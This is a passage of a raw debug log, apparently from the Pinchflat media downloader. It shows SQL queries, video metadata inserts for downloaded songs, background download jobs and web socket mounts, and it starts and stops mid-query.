'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:21:06.335 [debug] QUERY OK source="sources" db=0.4ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:06.335 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-12-10 11:57:55Z], 4] 22:21:06.335 [debug] QUERY OK source="media_items" db=0.6ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:21:06.336 [info] Sent 200 in 3462ms 22:21:06.499 [debug] QUERY OK source="media_items" db=163.5ms queue=0.3ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["This version of 'Noosphere' by Guillaume David is a little different from the original, i wanted to put the part i prefer together. Enjoy !\n\nPraise the omnissiah !\n\nFrom the Warhammer 40k game 'Mechanicus'\nArt: https://oniric-realms.tumblr.com/post/160327943468/james-martin", "Noosphere (Pipe Organ Cut)", "62343e7c-9822-4738-9dbe-48afa60ade1f", false, "KCR7ovEwtCA", 465, false, "https://www.youtube.com/watch?v=KCR7ovEwtCA", 22, "/downloads/Grift/Grift/2021-12-10Noosphere (Pipe Organ Cut)[KCR7ovEwtCA].m4a", false, false, 4, [], 1, ~U[2021-12-10 11:57:55Z], ~U[2026-07-24 02:21:06Z], ~U[2026-07-24 02:21:06Z], "This version of 'Noosphere' by Guillaume David is a little different from the original, i wanted to put the part i prefer together. Enjoy !\n\nPraise the omnissiah !\n\nFrom the Warhammer 40k game 'Mechanicus'\nArt: https://oniric-realms.tumblr.com/post/160327943468/james-martin", "Noosphere (Pipe Organ Cut)", "KCR7ovEwtCA", 465, false, "https://www.youtube.com/watch?v=KCR7ovEwtCA", "/downloads/Grift/Grift/2021-12-10Noosphere (Pipe Organ Cut)[KCR7ovEwtCA].m4a", false, 4, ~U[2021-12-10 11:57:55Z]] 22:21:06.500 [debug] QUERY OK source="sources" db=0.2ms idle=164.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:06.500 [debug] QUERY OK source="media_profiles" db=0.1ms idle=164.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:06.500 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [142] 22:21:06.501 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "reupload of the song that just got taken down", "duration" => 570, "filename" => "/downloads/Grift/Grift/2022-11-06Bury the light x A beautiful song *REUPLOAD*[BZfXeRvZkHo].m4a", "id" => "BZfXeRvZkHo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BZfXeRvZkHo", "playlist_index" => 23, "timestamp" => 1667728884, "title" => "Bury the light x A beautiful song *REUPLOAD*", "upload_date" => "20221106"} 22:21:06.501 [debug] QUERY OK source="sources" db=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:06.501 [debug] QUERY OK source="sources" db=0.0ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:06.501 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-06 10:01:24Z], 4] 22:21:06.671 [info] {"args":{"id":190},"id":214,"meta":{},"system_time":1784859666670689166,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:06.672 [info] CONNECTED TO Phoenix.LiveView.Socket in 36µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Dzp2TlF-KhgZVVMhFX9wAjEoQhUZDTElfWEy86CYr3gqw2ATaBvfJyff", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:21:06.672 [info] {"args":{"id":194},"id":215,"meta":{},"system_time":1784859666670969823,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:21:06.682 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:21:06.857 [debug] QUERY OK source="media_items" db=186.8ms queue=0.6ms idle=168.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["reupload of the song that just got taken down", "Bury the light x A beautiful song *REUPLOAD*", "0172d070-ec74-48a2-8346-89c39ee7dfe5", false, "BZfXeRvZkHo", 570, false, "https://www.youtube.com/watch?v=BZfXeRvZkHo", 23, "/downloads/Grift/Grift/2022-11-06Bury the light x A beautiful song *REUPLOAD*[BZfXeRvZkHo].m4a", false, false, 4, [], 1, ~U[2022-11-06 10:01:24Z], ~U[2026-07-24 02:21:06Z], ~U[2026-07-24 02:21:06Z], "reupload of the song that just got taken down", "Bury the light x A beautiful song *REUPLOAD*", "BZfXeRvZkHo", 570, false, "https://www.youtube.com/watch?v=BZfXeRvZkHo", "/downloads/Grift/Grift/2022-11-06Bury the light x A beautiful song *REUPLOAD*[BZfXeRvZkHo].m4a", false, 4, ~U[2022-11-06 10:01:24Z]] 22:21:06.858 [debug] QUERY OK source="sources" db=0.2ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:06.858 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:06.902 [debug] QUERY OK source="sources" db=219.7ms idle=12.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:06.902 [debug] QUERY OK source="media_items" db=230.0ms queue=0.7ms idle=170.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [190] 22:21:06.902 [debug] QUERY OK source="media_items" db=229.4ms queue=0.1ms idle=171.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [194] 22:21:06.902 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:06.902 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:21:06.903 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=43.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [143] 22:21:06.903 [debug] QUERY OK source="media_items" db=0.5ms idle=0.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:21:06.903 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Taken from the album 'Bad Contestant', available on vinyl https://matt-maltese.com\n\nListen to more from the album Bad Contestant here: https://www.youtube.com/playlist?list=OLAK5uy_mdHlQL-PBoKISfsyPH0UkCgRc83jrEtcA\n\nSubscribe to Matt's channel here:\nhttps://NettwerkMusic.lnk.to/MMYTsubscribe\n\nFollow Matt Maltese:\nInstagram: https://www.instagram.com/matthewmaltese\nTikTok: https://www.tiktok.com/@tonightmatthew\nTwitter: https://twitter.com/matthewmaltese\nFacebook: https://www.facebook.com/MattMaltesemusic\n\nLyrics:\nMy feet are aching\nAnd your back is pretty tired\nAnd we've drunk a couple bottles, babe\nAnd set our grief aside\nThe papers say it's doomsday\nThe button has been pressed\nWe're gonna nuke each other up boys\n'Til old satan stands impressed\n\nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves in\n\nYou put your finest suit on\nI paint my fingernails\nOh we're going out in style babe\nAnd everything's on sale\nWe creep up on extinction\nI pull your arms right in\nI weep and say goodnight love\nWhile my organs pack it in\n \nAnd here it is, our final night alive\nAnd as the earth runs to the ground\n\nOh, girl, it's you that I lie with\nAs the atom bomb locks in\nOh it's you I watch TV with\nAs the world, as the world caves...\n\nOh it's you that I lie with\nAs the atom bomb locks in\nYes it's you I welcome death with\nAs the world, as the world caves in\n\nAs the world caves in\n\n#MattMaltese #AsTheWorldCavesIn #BadContestant", "duration" => 214, "filename" => "/downloads/Grift/Grift/2017-03-07Matt Maltese - As the World Caves In [Official Audio][yS2KyK3pqj4].m4a", "id" => "yS2KyK3pqj4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=yS2KyK3pqj4", "playlist_index" => 24, "timestamp" => 1488879939, "title" => "Matt Maltese - As the World Caves In [Official Audio]", "upload_date" => "20170307"} 22:21:06.904 [debug] QUERY OK source="sources" db=1.0ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:06.904 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:21:06.904 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:06.905 [debug] QUERY OK source="media_profiles" db=0.8ms idle=0.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:06.905 [debug] QUERY OK source="media_items" db=1.7ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:21:06.905 [debug] Replied in 222ms 22:21:06.905 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.3ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:06.905 [debug] QUERY OK source="sources" db=0.6ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:06.906 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [194] 22:21:06.906 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:21:06.906 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190] 22:21:06.906 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-03-07 09:45:39Z], 4] 22:21:06.907 [debug] QUERY OK source="sources" db=0.4ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:21:06.907 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:21:06.907 [debug] QUERY OK source="media_metadata" db=0.2ms idle=0.6ms SELECT 